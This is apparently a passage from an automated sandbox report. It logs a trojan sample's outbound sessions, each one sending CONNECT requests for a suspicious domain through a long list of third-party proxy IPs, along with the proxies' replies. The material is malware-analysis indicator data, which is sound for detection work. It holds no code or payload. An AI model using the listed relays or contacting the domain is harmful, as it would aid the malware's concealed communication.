Feb 23, 2024 14:28:24.382081985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.850956917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.413475037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.535861969 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.8	51417	49.51.94.12	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.382956982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.8	51250	174.77.111.196	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.383289099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.8	51169	60.246.122.244	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.384922981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.683676004 CET	172	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.2.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.8	51418	49.51.94.12	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.385719061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.8	51421	49.51.94.12	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.387538910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.8	51424	49.51.94.12	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.389116049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.8	51354	185.238.228.96	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.400861979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.490959883 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.8	51363	104.19.225.70	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.411350012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.501483917 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.8	51264	142.4.7.20	34139	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.411355019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.882196903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.8	51364	104.19.109.209	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.412082911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.502095938 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.8	51279	98.162.25.23	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.429492950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.8	51381	162.159.242.104	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.429493904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.516959906 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.8	51232	31.223.22.21	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.429558992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.8	51295	141.94.174.6	41920	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.434844971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.882430077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.8	50761	115.96.208.124	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.437776089 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:24.782900095 CET	72	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.8	51192	52.196.1.182	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.446378946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.755317926 CET	196	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/plain X-Powered-By: Servlet/2.4 Server: Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server Content-Length: 0
Feb 23, 2024 14:28:24.756151915 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 d8 9d 77 5c f3 2b c8 46 d5 59 05 6e d2 69 56 41 12 e8 b1 59 00 18 15 bd 3e 7d 36 3a c8 ab 3e 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: ew\+FYniVAY>}6:>*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Feb 23, 2024 14:28:25.056457043 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 29 28 51 f1 58 5a c0 78 11 c5 a3 65 50 61 45 ae 83 ab 4b ef 75 e1 01 81 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9)(QXZxePaEKuDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240223124521Z260222124521Z03110/U(heygirlisheeverythingyouwantedinaman.c
Feb 23, 2024 14:28:25.060662031 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 c4 74 1a ca a2 35 2e ac 3f 10 aa 29 36 2b 4f 2d 3a b1 6b 42 36 89 45 12 a0 67 ad 19 2f 22 66 36 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 49 44 0f 5d 39 08 c5 96 a9 c4 76 be 19 30 92 ee 31 ad d6 33 fb Data Ascii: %! t5.?)6+O-:kB6Eg/"f6(ID]9v013z3>_+Jyx
Feb 23, 2024 14:28:25.359277964 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 08 c2 e4 f6 38 d6 f4 15 28 28 a3 c3 0f c9 1c 8d c8 05 f9 c0 5c 10 ac 55 2c 96 b2 4e ef 65 e1 cb 03 2f db 6d f1 ca 2d b0 Data Ascii: (8((\U,Ne/m-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.8	50768	143.255.178.129	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.473225117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.491835117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.492074966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.491903067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.8	51359	209.159.153.19	19072	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.473891973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.641252041 CET	24	IN	HTTP/1.1 403 #string

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.8	50818	98.162.25.4	31654	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.474123001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.8	50837	70.166.167.38	57728	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.474406004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.8	50747	209.13.186.20	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.474406004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.499174118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.527626038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.556351900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.8	50829	178.62.229.28	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.474675894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.499165058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.527617931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.556315899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.8	51366	212.110.188.193	34409	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.478070974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.929153919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.444753885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.491909981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.695061922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.102652073 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.8	51167	118.91.175.146	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.484911919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.8	51376	37.59.213.49	43840	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.487705946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.868448019 CET	24	IN	HTTP/1.1 403 #string

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.8	51344	109.107.181.245	33190	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.500381947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.022830009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.8	51051	68.71.249.153	48606	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.512171984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.8	51401	184.178.172.5	15303	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.514029980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.8	51228	16.163.88.228	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.517034054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.841936111 CET	668	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 494 Connection: close ETag: "5d52d17f-1ee" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2e 3c 2f 68 31 3e 0a 3c 70 3e 53 6f 72 72 79 2c 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 62 72 2f 3e 0a 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 49 66 20 79 6f 75 20 61 72 65 20 74 68 65 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 66 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 20 74 68 65 6e 20 79 6f 75 20 73 68 6f 75 6c 64 20 63 68 65 63 6b 0a 74 68 65 20 65 72 72 6f 72 20 6c 6f 67 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 3c 2f 70 3e 0a 3c 70 3e 3c 65 6d 3e 46 61 69 74 68 66 75 6c 6c 79 20 79 6f 75 72 73 2c 20 6e 67 69 6e 78 2e 3c 2f 65 6d 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html><head><title>Error</title><style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; }</style></head><body><h1>An error occurred.</h1><p>Sorry, the page you are looking for is currently unavailable.<br/>Please try again later.</p><p>If you are the system administrator of this resource then you should checkthe error log for details.</p><p><em>Faithfully yours, nginx.</em></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.8	50835	179.43.8.16	8088	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.524118900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.695029020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.695329905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.8	50680	202.8.74.10	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.524374962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.317924023 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.8	51206	1.10.255.2	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

